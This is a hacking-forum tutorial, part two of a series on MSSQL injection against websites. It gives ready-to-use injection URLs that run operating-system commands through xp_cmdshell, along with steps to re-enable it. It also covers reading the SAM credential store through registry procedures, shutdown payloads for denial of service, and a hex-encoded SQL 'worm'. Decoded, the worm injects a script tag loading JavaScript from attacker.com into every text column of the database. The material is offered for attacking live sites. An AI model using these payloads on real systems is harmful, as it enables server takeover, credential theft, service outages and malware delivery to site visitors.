[Tutorial by Zyklon B] MSSQL injection - Part 2/3

Hei,
This is the second part of my MSSQL tutorial. However, the difference is that this one if not only for MSSQL Null based, on websites whose have a coldfusion extension.

First part : The first way you should process
Second part : Commands executions & worms - This thread!
Third part : A video

Link to my first one : https://hackforums.net/showthread.php?tid=2389816

Introduction.

What is exactly a MSSQL Server ?
-Basically, Internet clients are all connected to an SQL Server, which manages Sql requests of the website. Most of the time, it's a computer which is only used for that, and which run all the time (24/24 -7/7days).

[Image: EAwU9.png]

To manage this SQL Server, the admin need to use the application which go with. The application will depends of the SQL Server version : refer to my first tutorial.

Screenshots of these applications :

MSSQL 2000 :
[Image: jyxdq.jpg]

MSSQL 2005 :
[Image: jyxdq.jpg]

MSSQL is harmful for the website, that's what you saw in the first part. Now, you need to know that you can also practice command executions on the SQL Server, or create an SQL worm : that's why MSSQL is considered as the most dangerous SQL Injection ever.

1.9 - Extended Stored Procedures

Extended stored procedures are stored procedures that call functions from DLL files, whose are located in the computer. That's a great way too to fuck the computer privacy.

A -

Code 
xp_cmdshell

It executes a given command on the MSSQL Operation system, with the same permission as it's currently running.
Example of use :
http://www.site.gov/albums/view.cfm?uid=1; exec master.NAME_OF_THE_DATABASE.xp_cmdshell 'enter_your_command_here'

Note : On MSSQL 2005, this command is desactivated by default. So, you need to reactivate it through this ones :

Code 
EXEC sp_configure 'show advanced options', 1;--

RECONFIGURE;-- 

EXEC sp_configure 'xp_cmdshell', 1;-- 

RECONFIGURE;--

In the case of it has been disabled on MSSQL2000, enter this one :

Code 
EXEC sp_addextendedproc 'xp_anyname', 'xp_log70.dll';--

B -

Code 
xp_loginconfig

This stored procedure returns login configuration information (Login Name - passwd).

C -

Code 
xp_regread    

xp_regwrite

xp_regdeletekey

xp_regdeletevalue

xp_regenumkeys

xp_regenumvalues

Windows registry key. It may be very, very harmful for a computer. This is especially where the SAM file of a computer is...
Example of use :
http://www.site.gov/albums/view.cfm?uid=1; exec xp_regread HKEY_LOCAL_MACHINE,'SAM\','SAM'

This will read the SAM file located in the path mentioned above.

Note : The path can change, it will depends of the computer. Just go on regedit.exe to understand better the structure.

D -

Let's talk about a funny command, only reserved for freaks.

Code 
;shutdown--

;shutdown#

or 1=1 shutdown#

or 1=1 shutdown--

Rather than drop databases, we can deny other users access to the database. A form of SQL injection DOS. The syntax is easy to remember.

E -

A list of some useful commands to know :

Code 
xp_availablemedia    - Reveals the available drives on the machine

xp_dirtree      - Allows a directory tree to be obtained

xp_enumdsn      - Enumerates ODBC data sources on the server

xp_makecab      - Allows the user to create a compressed archive of files on the server

xp_ntsec_enumdomains - Enumerates domains that the server can access

xp_terminate_process - Terminate a process (PID)

A list of the unknown ones, but whose are still good : http://www.mssqlcity.com/Articles/Undoc/UndocExtSP.htm

2.0 - SQL worm

Simply like a malware. In fact, this is a collection of SQL queries whose have been hexed().

Here is an example if its use :

Code 
http://www.site.gov/albums/view.cfm?uid=1';DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0x4400450043004C0041005200450020004000540020007600610072006300680061007200280032003500350029002C0040004300200076006100720063006800610072002800320035003500290020004400450043004C0041005200450020005400610062006C0065005F0043007500720073006F007200200043005500520053004F005200200046004F0052002000730065006C00650063007400200061002E006E0061006D0065002C0062002E006E0061006D0065002000660072006F006D0020007300790073006F0062006A006500630074007300200061002C0073007900730063006F006C0075006D006E00730020006200200077006800650072006500200061002E00690064003D0062002E0069006400200061006E006400200061002E00780074007900700065003D00270075002700200061006E0064002000280062002E00780074007900700065003D003900390020006F007200200062002E00780074007900700065003D003300350020006F007200200062002E00780074007900700065003D0032003300310020006F007200200062002E00780074007900700065003D003100AS%20NVARCHAR(4000));EXEC(@S);--

Well, so here is the decoded SQL worm :

Code 
DECLARE @T VARCHAR(255)

DECLARE @C VARCHAR(255)

DECLARE Table_Cursor CURSOR FOR

SELECT [A].[Name], [B].[Name]

FROM sysobjects AS [A], syscolumns AS [B]

WHERE [A].[ID] = [B].[ID] AND

[A].[XType] = 'U' /* Table (User-Defined) */ AND

([B].[XType] = 99 /* NTEXT */ OR

[B].[XType] = 35 /* TEXT */ OR

[B].[XType] = 231 /* SYSNAME */ OR

[B].[XType] = 167 /* VARCHAR */)

OPEN Table_Cursor

FETCH NEXT FROM Table_Cursor INTO @T,@C 

WHILE (@@FETCH_STATUS = 0)

BEGIN

EXEC('UPDATE [' + @T + '] SET [' + @C + '] = RTRIM(CONVERT(VARCHAR, [' + @C + '])) + ''<script src="http://www.attacker.com/js_script.js"></script>''')

FETCH NEXT FROM Table_Cursor INTO @T, @C

END

CLOSE Table_Cursor

DEALLOCATE Table_Curso

What does it do, then ? It finds all text fields in the database and adds a link to malicious javascript <script src="http://www.attacker.com/js_script.js"></script> to each and every one of them which will make your website display them automatically.

Note : this works too in the query fields (search bar, forum, and so on).

Then you can create your own SQL Worm. You will need a good knowledge in SQL language, and a simple text/hexadecimal converter :
http://www.swingnote.com/tools/texttohex.php
_*.*_

I hope that i have been useful for you, mates.
Best regards, and see you soon for the last part.